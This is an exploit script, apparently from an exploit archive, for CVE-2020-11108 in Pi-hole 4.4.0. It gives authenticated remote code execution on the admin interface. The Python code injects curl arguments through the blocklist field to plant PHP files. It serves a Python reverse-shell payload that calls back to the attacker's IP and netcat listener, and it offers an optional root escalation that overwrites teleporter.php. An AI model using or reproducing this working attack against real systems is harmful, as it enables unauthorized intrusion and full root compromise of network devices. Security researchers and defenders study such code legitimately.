Pi-hole 4.4.0 - Remote Code Execution (Authenticated)

# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated)
# Date: 2020-05-22
# Exploit Author: Photubias
# Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE
# Version: Pi-hole <=4.4.0 + Web <=4.3.3
# Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10)
# CVE: CVE-2020-11108

#!/usr/bin/env python3
'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py
        
        File name CVE-2020-11108.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup instructions (from clean Debian 10-Buster):
        > apt update && apt install -y curl
        > curl -sSL https://install.pi-hole.net | bash
        > pihole checkout web release/v4.3.3
        > cd /etc/.pihole/ && git checkout v4.4
        > pihole -r ## Select reconfigure
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Features:
        * Does a reliable check before exploitation (not based on version numbers)
        * Performs normal RCE without Privilege Escalation (wich is more trust worthy)
        * Asks before running Root RCE (as this overwrites certain files)
        * Performs a cleanup in all cases (success / failure)
'''

import urllib.request, ssl, http.cookiejar, sys, string, random
import socket, _thread, time

## Default vars; change at will
_sURL = '192.168.50.130'
_sPASSWORD = '6DS4QtW5'
_iTIMEOUT = 5
_sLOCALIP = '192.168.50.1'
_sFILENAME = 'fun2.php'
_sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first

## Ignore unsigned certs
ssl._create_default_https_context = ssl._create_unverified_context

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def randomString(iStringLength=8):
    sLetters = string.ascii_lowercase
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def postData(sURL, lData, bEncode = True):
    try:
        if bEncode: oData = urllib.parse.urlencode(lData).encode()
        else: oData = str(lData).encode()
        oRequest = urllib.request.Request(url = sURL, data = oData)
        return oOpener.open(oRequest, timeout = _iTIMEOUT)
    except:
        print('----- ERROR, site down?')
        sys.exit(1)

def getEndpoint():
    if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL
    else: sURL = _sURL
    if not sURL[:-1] == '/': sURL += '/'
    if not '/admin' in sURL: sURL += 'admin'
    try:
        oRequest = urllib.request.Request(sURL)
        oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT)
    except:
        print('[-] Error: ' + sURL + ' not responding')
        exit(1)
    if oResponse.code == 200:
        print('[+] Vulnerable URL is ' + sURL)
        return sURL
    else:
        print('[-] Error: ' + sURL + ' does not exist?')
        exit(1)

def startListener(sPayload, iSockTimeout):
    ## Listener must always be on port 80, does not work otherwise
    oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('[!] Binding to '+_sLOCALIP+':80')
    oSock.bind((_sLOCALIP,80))
    oSock.settimeout(iSockTimeout)
    oSock.listen()

    while True:
        try: oConn,sAddr= oSock.accept()
        except: break
        print('[+] Yes, we have an incoming connection from '+str(sAddr[0]))
        oConn.sendall(sPayload.encode())
        oConn.close()
        break
    oSock.close()
    print('[!] Closing Listener')

def doLogin(sURL, sPassword):
    sPath = '/index.php?login'
    lData = {'pw':sPassword}
    oResponse = postData(sURL + sPath, lData)
    sResult = oResponse.read().decode(errors='ignore')
    if 'Wrong password' in sResult:
        print('Wrong password')
        sys.exit(1)
    return True

def getToken(sURL):
    sPath = '/settings.php?tab=blocklists'
    oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
    sResult = oResponse.read().decode(errors='ignore')
    if 'id=\'token\'' in sResult:
        return sResult.split('id=\'token\' hidden>')[1].split('<')[0]
    else:
        print('[-] Error in getting a token')
        sys.exit(1)
    
def createBackdoor(sURL, sFilename):
    sToken = getToken(sURL)
    sPath = '/settings.php?tab=blocklists'
    lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'}
    #lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'}
    oResponse = postData(sURL + sPath, lData)
    if oResponse.code == 200:
        sResult = oResponse.read().decode(errors='ignore')
        arrBlocklists = sResult.split('target="_new"')
        sID = str(len(arrBlocklists)-2)
        print('[+] Creation success, ID is '+sID+'!')
        return sID
    else:
        return ''


def doUpdate(sURL):
    sPath = '/scripts/pi-hole/php/gravity.sh.php'
    try:
        oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
        if oResponse.code == 200: print('[+] Update succeeded.')
        return True
    except:
        print('[-] Error; callback failed, maybe a firewall issue?')
        return False

def callExploit(sURL, sFilename = _sFILENAME):
    sPath = '/scripts/pi-hole/php/' + sFilename
    print('[+] Calling ' + sURL + sPath)
    try:
        oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
        if oResponse.code == 200: print('[+] Calling exploit succeeded.')
        print(oResponse.read().decode(errors='ignore'))
    except:
        pass

def removeEntry(sURL, sID):
    print('[+] Cleaning up now.')
    sToken = getToken(sURL)
    sPath = '/settings.php?tab=blocklists'
    lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'}
    oResponse = postData(sURL + sPath, lData)
    if oResponse.code == 200:
        print('[+] Remove success')

def main():
    global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-11108.py <dstIP> <srcIP> <PWD>')
        print('    Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ')
        if not sAnswer == '': _sURL = sAnswer
        sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ')
        if not sAnswer == '': _sLOCALIP = sAnswer
        sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ')
        if not sAnswer == '': _sPASSWORD = sAnswer
    else:
        _sURL = sys.argv[1]
        _sLOCALIP = sys.argv[2]
        _sPASSWORD = sys.argv[3]
    
    ## MAIN
    sURL = getEndpoint() ## Will also set the initial SessionID
    doLogin(sURL, _sPASSWORD)
    
    ## Creating backdoor (1) ## the old 'fun.php'
    sFilename = randomString() + '.php'
    sID = createBackdoor(sURL, sFilename)
    
    ## Launch first payload listener and send 200 OK
    _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
    if doUpdate(sURL):
        print('[+] This system is vulnerable!')
    
    ## Question Time
    sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ')
    if not sAnswer.lower() == 'y':
        removeEntry(sURL, sID)
        sys.exit(0)
    sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ')
    if sAnswer.lower() == 'y': bRoot = True
    else: bRoot = False
    
    if bRoot:
        print('[!] Allright, going for the root shell')
        ## Launch payload listener and send root shell
        _sPayload = '''<?php shell_exec("sudo pihole -a -t") ?>'''
        _thread.start_new_thread(startListener,(_sPayload,5,))
        doUpdate(sURL)
    
        ## Creating backdoor (2), overwriting teleporter.php
        sID2 = createBackdoor(sURL, 'teleporter.php')
    
        ## Launch payload listener for a new 200 OK
        _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
        doUpdate(sURL)
    
    input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')
    
    ## Launch shell payload listener:
    _sPayload = '''<?php
    shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
    ?>
    ''' %(_sLOCALIP, _sLOCALNCPORT)
    #_sPayload = '''<?php system($_GET['cmd']); ?>''' ## this works perfectly, but the URL is authenticated
    _thread.start_new_thread(startListener,(_sPayload,5,))
    doUpdate(sURL)
    
    ## Launching the payload, will create new PHP file
    callExploit(sURL, sFilename)
    
    ## Remove entry again
    if bRoot: removeEntry(sURL, sID2)
    removeEntry(sURL, sID)
    
    if len(sys.argv) == 1: input('[+] All done, press enter to exit')

if __name__ == "__main__":
    main()